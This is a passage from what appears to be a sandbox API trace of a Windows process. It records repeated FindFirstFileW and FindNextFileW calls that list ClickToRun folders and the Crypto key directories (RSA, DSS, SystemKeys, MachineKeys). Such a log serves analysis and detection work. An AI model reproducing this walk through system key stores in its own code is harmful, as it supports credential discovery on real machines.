dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5590 [0217.822] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1da7a7ac, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1da7a7ac, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1da7a7ac, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.822] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1da7a7ac, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1da7a7ac, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1da7a7ac, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0217.823] FindClose (in: hFindFile=0x1d1f5590 | out: hFindFile=0x1d1f5590) returned 1 [0217.823] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bac20) returned 1 [0217.823] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Integration\\ShortcutBackups", nBufferLength=0x105, lpBuffer=0x1b0ba7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Integration\\ShortcutBackups", lpFilePart=0x0) returned 0x4f [0217.823] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Integration\\ShortcutBackups\\*" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\machinedata\\integration\\shortcutbackups\\*"), lpFindFileData=0x1b0baa00 | out: lpFindFileData=0x1b0baa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1da7a7ac, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1da7a7ac, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1da7a7ac, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5650 [0217.823] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1da7a7ac, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1da7a7ac, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1da7a7ac, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.824] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1da7a7ac, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1da7a7ac, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1da7a7ac, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0217.824] FindClose (in: hFindFile=0x1d1f5650 | out: hFindFile=0x1d1f5650) returned 1 [0217.824] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bac20) returned 1 [0217.824] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\UserData", nBufferLength=0x105, lpBuffer=0x1b0bb750, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\UserData", lpFilePart=0x0) returned 0x30 [0217.824] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\UserData\\*" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\userdata\\*"), lpFindFileData=0x1b0bb980 | out: lpFindFileData=0x1b0bb980*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1c4bfed4, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1c4bfed4, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1c4bfed4, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5590 [0217.826] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1b0bb940 | out: lpFindFileData=0x1b0bb940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1c4bfed4, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1c4bfed4, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1c4bfed4, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.826] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1b0bb940 | out: lpFindFileData=0x1b0bb940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1c4bfed4, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1c4bfed4, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1c4bfed4, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0217.826] FindClose (in: hFindFile=0x1d1f5590 | out: hFindFile=0x1d1f5590) returned 1 [0217.826] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bbba0) returned 1 [0217.826] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\UserData", nBufferLength=0x105, lpBuffer=0x1b0bb750, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\UserData", lpFilePart=0x0) returned 0x30 [0217.827] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\UserData\\*" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\userdata\\*"), lpFindFileData=0x1b0bb980 | out: lpFindFileData=0x1b0bb980*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1c4bfed4, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1c4bfed4, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1c4bfed4, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5ad0 [0217.827] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bb940 | out: lpFindFileData=0x1b0bb940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1c4bfed4, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1c4bfed4, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1c4bfed4, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.827] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bb940 | out: lpFindFileData=0x1b0bb940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1c4bfed4, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1c4bfed4, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1c4bfed4, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0217.828] FindClose (in: hFindFile=0x1d1f5ad0 | out: hFindFile=0x1d1f5ad0) returned 1 [0217.828] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bbba0) returned 1 [0217.828] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}", nBufferLength=0x105, lpBuffer=0x1b0bb750, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}", lpFilePart=0x0) returned 0x4e [0217.828] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\*" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\*"), lpFindFileData=0x1b0bb980 | out: lpFindFileData=0x1b0bb980*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x828cdbb9, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0xe25ce006, ftLastAccessTime.dwHighDateTime=0x1d8a64a, ftLastWriteTime.dwLowDateTime=0xe25ce006, ftLastWriteTime.dwHighDateTime=0x1d8a64a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5590 [0218.007] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1b0bb940 | out: lpFindFileData=0x1b0bb940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x828cdbb9, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0xe25ce006, ftLastAccessTime.dwHighDateTime=0x1d8a64a, ftLastWriteTime.dwLowDateTime=0xe25ce006, ftLastWriteTime.dwHighDateTime=0x1d8a64a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0218.007] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1b0bb940 | out: lpFindFileData=0x1b0bb940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x828cdbb9, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x828cdbb9, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x64e40818, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0xd1e70, dwReserved0=0x0, dwReserved1=0x0, cFileName="integrator.exe", cAlternateFileName="INTEGR~1.EXE")) returned 1 [0218.008] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1b0bb940 | out: lpFindFileData=0x1b0bb940*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0218.008] FindClose (in: hFindFile=0x1d1f5590 | out: hFindFile=0x1d1f5590) returned 1 [0218.009] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bbba0) returned 1 [0218.009] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}", nBufferLength=0x105, lpBuffer=0x1b0bb750, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}", lpFilePart=0x0) returned 0x4e [0218.010] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\*" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\*"), lpFindFileData=0x1b0bb980 | out: lpFindFileData=0x1b0bb980*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x828cdbb9, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0xe25ce006, ftLastAccessTime.dwHighDateTime=0x1d8a64a, ftLastWriteTime.dwLowDateTime=0xe25ce006, ftLastWriteTime.dwHighDateTime=0x1d8a64a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5ad0 [0218.011] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bb940 | out: lpFindFileData=0x1b0bb940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x828cdbb9, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0xe25ce006, ftLastAccessTime.dwHighDateTime=0x1d8a64a, ftLastWriteTime.dwLowDateTime=0xe25ce006, ftLastWriteTime.dwHighDateTime=0x1d8a64a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0218.011] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bb940 | out: lpFindFileData=0x1b0bb940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x828cdbb9, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x828cdbb9, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x64e40818, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0xd1e70, dwReserved0=0x0, dwReserved1=0x0, cFileName="integrator.exe", cAlternateFileName="INTEGR~1.EXE")) returned 1 [0218.012] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bb940 | out: lpFindFileData=0x1b0bb940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x828cdbb9, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x828cdbb9, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x64e40818, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0xd1e70, dwReserved0=0x0, dwReserved1=0x0, cFileName="integrator.exe", cAlternateFileName="INTEGR~1.EXE")) returned 0 [0218.012] FindClose (in: hFindFile=0x1d1f5ad0 | out: hFindFile=0x1d1f5ad0) returned 1 [0218.013] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bbba0) returned 1 [0218.013] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto", nBufferLength=0x105, lpBuffer=0x1b0bbf10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto", lpFilePart=0x0) returned 0x23 [0218.014] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\*" (normalized: "c:\\users\\all users\\microsoft\\crypto\\*"), lpFindFileData=0x1b0bc140 | out: lpFindFileData=0x1b0bc140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd54314ca, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xd54314ca, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5710 [0218.014] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1b0bc100 | out: lpFindFileData=0x1b0bc100*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd54314ca, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xd54314ca, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0218.015] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1b0bc100 | out: lpFindFileData=0x1b0bc100*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcdfeea, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DSS", cAlternateFileName="")) returned 1 [0218.015] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1b0bc100 | out: lpFindFileData=0x1b0bc100*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcdfeea, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Keys", cAlternateFileName="")) returned 1 [0218.015] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1b0bc100 | out: lpFindFileData=0x1b0bc100*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcdfeea, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PCPKSP", cAlternateFileName="")) returned 1 [0218.015] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1b0bc100 | out: lpFindFileData=0x1b0bc100*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc4a8a1, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0xc4a8a1, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSA", cAlternateFileName="")) returned 1 [0218.016] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1b0bc100 | out: lpFindFileData=0x1b0bc100*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xd54314ca, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xd54314ca, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xd54314ca, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SystemKeys", cAlternateFileName="SYSTEM~1")) returned 1 [0218.016] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1b0bc100 | out: lpFindFileData=0x1b0bc100*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xd54314ca, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xd54314ca, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xd54314ca, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SystemKeys", cAlternateFileName="SYSTEM~1")) returned 0 [0218.016] FindClose (in: hFindFile=0x1d1f5710 | out: hFindFile=0x1d1f5710) returned 1 [0218.016] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bc360) returned 1 [0218.016] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto", nBufferLength=0x105, lpBuffer=0x1b0bbf10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto", lpFilePart=0x0) returned 0x23 [0218.017] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\*" (normalized: "c:\\users\\all users\\microsoft\\crypto\\*"), lpFindFileData=0x1b0bc140 | out: lpFindFileData=0x1b0bc140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd54314ca, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xd54314ca, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5ad0 [0218.017] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bc100 | out: lpFindFileData=0x1b0bc100*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd54314ca, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xd54314ca, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0218.017] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bc100 | out: lpFindFileData=0x1b0bc100*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcdfeea, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DSS", cAlternateFileName="")) returned 1 [0218.018] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bc100 | out: lpFindFileData=0x1b0bc100*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcdfeea, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Keys", cAlternateFileName="")) returned 1 [0218.018] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bc100 | out: lpFindFileData=0x1b0bc100*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcdfeea, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PCPKSP", cAlternateFileName="")) returned 1 [0218.018] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bc100 | out: lpFindFileData=0x1b0bc100*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc4a8a1, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0xc4a8a1, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSA", cAlternateFileName="")) returned 1 [0218.018] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bc100 | out: lpFindFileData=0x1b0bc100*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xd54314ca, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xd54314ca, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xd54314ca, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SystemKeys", cAlternateFileName="SYSTEM~1")) returned 1 [0218.019] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bc100 | out: lpFindFileData=0x1b0bc100*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0218.019] FindClose (in: hFindFile=0x1d1f5ad0 | out: hFindFile=0x1d1f5ad0) returned 1 [0218.019] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bc360) returned 1 [0218.019] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS", nBufferLength=0x105, lpBuffer=0x1b0bb750, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS", lpFilePart=0x0) returned 0x27 [0218.020] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\*" (normalized: "c:\\users\\all users\\microsoft\\crypto\\dss\\*"), lpFindFileData=0x1b0bb980 | out: lpFindFileData=0x1b0bb980*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcdfeea, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5710 [0218.020] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1b0bb940 | out: lpFindFileData=0x1b0bb940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcdfeea, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0218.021] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1b0bb940 | out: lpFindFileData=0x1b0bb940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcdfeea, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MachineKeys", cAlternateFileName="MACHIN~1")) returned 1 [0218.021] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1b0bb940 | out: 